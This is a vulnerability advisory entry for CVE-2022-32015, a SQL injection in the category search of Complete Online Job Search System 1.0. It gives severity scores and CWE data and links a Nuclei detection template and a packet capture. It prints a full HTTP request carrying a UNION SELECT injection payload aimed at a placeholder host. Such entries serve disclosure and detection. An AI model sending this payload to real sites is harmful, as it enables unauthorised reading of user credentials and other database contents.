| Title | Complete Online Job Search System 1.0 - SQL Injection |
|---|---|
| Author | arafatansari |
| Severity | High |
| Impact | Authenticated administrators with high privileges can execute arbitrary SQL queries through the search parameter in the category endpoint, potentially extracting sensitive database information including user credentials, job applications, and employer data. |
| Remediation | Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Complete Online Job Search System 1.0. |
| CVSS Score | 7.2 |
| EPSS Score | 0.16601 |
| CVE ID | CVE-2022-32015 |
| CWE ID | CWE-89 |
| Tags | cve cve2022 sqli jobsearch complete_online_job_search_system_project vuln |
Complete Online Job Search System 1.0 contains a SQL injection vulnerability via /eris/index.php?q=category&search=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
GET /index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5(9704),15,16,17,18,19--+ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-32015.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-32015.pcap
N/AN/A